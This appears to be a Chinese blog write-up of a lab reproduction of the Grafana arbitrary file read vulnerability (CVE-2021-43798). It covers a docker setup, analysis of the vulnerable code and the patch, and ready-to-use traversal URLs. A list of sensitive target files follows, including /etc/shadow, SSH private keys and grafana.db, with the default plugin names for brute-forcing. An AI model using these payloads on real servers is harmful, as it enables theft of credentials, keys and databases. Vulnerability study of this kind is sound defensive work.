【漏洞复现】Grafana任意文件读取(CVE-2021-43798)
创始人
2024-06-01 12:48:07
0

docker环境搭建

#进入环境
cd vulhub/grafana/CVE-2021-43798

在这里插入图片描述

#启动环境,这个过程可能会有点慢,保持网络通畅
docker-compose up -d

在这里插入图片描述

#查看环境
docker-compose ps

在这里插入图片描述

直接访问虚拟机 IP地址:3000

目录遍历原理

目录遍历原理:攻击者可以通过将包含特殊目录遍历字符序列(…/)的特制HTTP请求发送到受影响的设备来利用此漏洞。通常是由于代码没有判断拼接路径的真实路径是否合法。

目录遍历影响:成功利用该漏洞的攻击者可以在目标设备上查看文件系统上的的任意文件。严重的会导致服务器中的敏感重要数据被窃取,例如数据库、WEB配置文件等。

源码分析

源码链接: 提取码: 8bf4

Grafana是利用go语言编写的可视化应用程序平台。

漏洞影响版本Grafana 8.0.0-beta1 - 8.3.0

源码分析:主要问题出现在pkg/api/plugins.go文件的getPluginAssets函数。先查找插件是否存在,如果插件不存在,则返回"Plugin not found",如果存在这个插件名,则会匹配 /public/plugins/:pluginId/*中的*,这个地方没有做任何过滤。最后打开pluginFilePath并输出相关内容,就可以造成任意文件读取。

payload/public/plugins/插件名/想要访问文件的相对路径
在这里插入图片描述

原理/成因:没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。

总结:只要是安装了任何一个插件就可以出现任意文件读取,因为是plugins的问题。

补丁分析

原漏洞代码:requestedFile := filepath.Clean(web.Params(c.Req)["*"])。该代码使用Clean函数对请求进行../的清理,但是Clean函数并不能做到全部清理,如下范例:

代码:
package main
import ( "fmt""path/filepath"
) 
// Calling main 
func main() { // Calling the Clean() function fmt.Println(filepath.Clean("/GFG/./../Geeks")) fmt.Println(filepath.Clean("GFG/../Geeks")) fmt.Println(filepath.Clean("..GFG/./../Geeks")) fmt.Println(filepath.Clean("gfg/../../../Geek/GFG")) 
}输出:
/Geeks
Geeks
Geeks
../../Geek/GFG

在后来使用open函数时就可以成功读取文件内容了。

官网的补丁如下:

requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))rel, err := filepath.Rel("/", requestedFile)if err != nil {// this should not never failc.JsonApiErr(500, "Relative path found", err)return}

可以看到将clean和join合并利用后,增加了filepath.Rel函数

func Rel(basepath, targpath string) (string, error)

filepath.Rel()函数会以basepath作为基准,返回targpath相对于basepath的相对路径,不过前提是basepathtargpath必须都是相对路径,若其中有一个是绝对路径则会返回错误。

如果无法相对于基本路径创建targpath,或者如果需要知道当前工作目录以进行计算,则会返回错误。

故使用Rel函数修复了目录穿越的问题。

修复方式

升级版本

漏洞利用

攻击路径POC

/public/plugins/<“plugin-id”>其中<“plugin-id”>是任何已安装插件的插件ID。

读取etc/passwd:

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd
在这里插入图片描述

读取配置文件:

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini
在这里插入图片描述

读取数据库:

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db
在这里插入图片描述

读取其它文件:

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

默认安装插件列表:

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

burp爆破

由于插件过多,利用burp爆破
在这里插入图片描述

将插件放入文件里做为一个字典
在这里插入图片描述

导入burp进行爆破
在这里插入图片描述

相关内容

热门资讯

中国维护国际经贸秩序的立场坚定... 应美方请求,中美经贸高层会谈在瑞士举行。中方在充分考虑全球期待、中方利益、美国业界和消费者呼吁的基础...
来自雪豹之都西宁的“礼物” 雪豹文创。本报记者 陆广涛 摄本报记者 张慧慧“这个设计很有特点!”“妈妈,我想把这个雪豹毛绒公仔带...
330千伏玉树二回接入工程 保... 本报讯 (记者 董洁 通讯员 王宏霞) “地区电力调度控制中心已下令,现在请大家按照调度指令开展作业...
开展家庭教育指导 检护少年健康... 转自:法治日报□ 本报记者 徐鹏  近日,青海省人民检察院联合省人民法院、省妇联、省教育厅、省民政厅...
成都“送体到校”活动落幕 转自:成都日报锦观惠及35000余名学生成都“送体到校”活动落幕 本报讯 (成都日报锦观新闻...
成都蓉城豪取五连胜 转自:成都日报锦观客场4∶0梅州成都蓉城豪取五连胜 本报讯 (成都日报锦观新闻记者 胡锐凯)...
节后错峰游 成都是全国第三大热... 转自:成都日报锦观节后错峰游 成都是全国第三大热门目的地 本报讯 (成都日报锦观新闻记者 杨富...
李在明登记成为韩国总统候选人 转自:成都日报锦观李在明登记成为韩国总统候选人 韩国共同民主党总统候选人李在明10日正式登记成...
结婚领证不用户口簿 还需哪些材... 转自:成都日报锦观结婚领证不用户口簿 还需哪些材料?民政部就婚姻登记“全国通办”政策作七问七答 ...
平凡铸就伟大 劳动闪耀滇池——... 在大渔街道新村社区里,有这样一位令人敬仰的劳动者——刘琼丽,她不仅是民间画的坚守者,更是一名优秀的共...
中医药非遗展讲述“生生之道” 日前,“生生之道——中医药非遗主题展”在北京中国非物质文化遗产馆开幕。展览展示了近50项传统医药类非...
从历史长河到现实岸畔的幽远沉思 王昭君、蔡文姬、冼夫人、刘禹锡、陆游、李清照、柳如是、黄遵宪……这一个个耳熟能详的名字,从杜卫东的书...
当外国人也爱上中国字 阅读提示 4月20日是第16个联合国中文日,由河南省人民政府主办,联合国教科文组织、中日韩合作...
《几生修得到梅花:有所思堂诗稿... 本报讯 近日,朱小平诗集《几生修得到梅花:有所思堂诗稿》由中国华侨出版社再版。这本诗集情真意切,旨...
母爱,铭刻在骨头里 《母爱情深》(中国青年出版社)是厉彦林纪念母亲去世十周年出版的一部散文专著。书中,作者以深沉与哀思、...
宣布停火后 印控克什米尔地区再...   当地时间10日晚,印控克什米尔地区再次传出爆炸声。  地区官员奥马尔·阿卜杜勒(Omar Abd...
绿茵燃情 高原放歌 五月的西宁,丁香绽放,花香四溢。夏都西宁·雪豹之都·丁香之城的绿茵场上,一场足球盛宴——第二届“大美...
首届中国新疆民间艺术季优秀节目... 本报讯(记者 师晓琼 摄影报道)5月9日,首届中国新疆民间艺术季优秀节目巡演青海站活动在经久不息的掌...
佩斯科夫:俄会考虑30天停火提... △佩斯科夫(资料图)  总台记者当地时间5月10日获悉,俄罗斯总统新闻秘书佩斯科夫在接受美国媒体采访...
今天是母亲节 记得跟妈妈说 我... 123海报设计:卢文茂、蒋应杰来源:中国兰州网、兰州发布编辑:柴任翔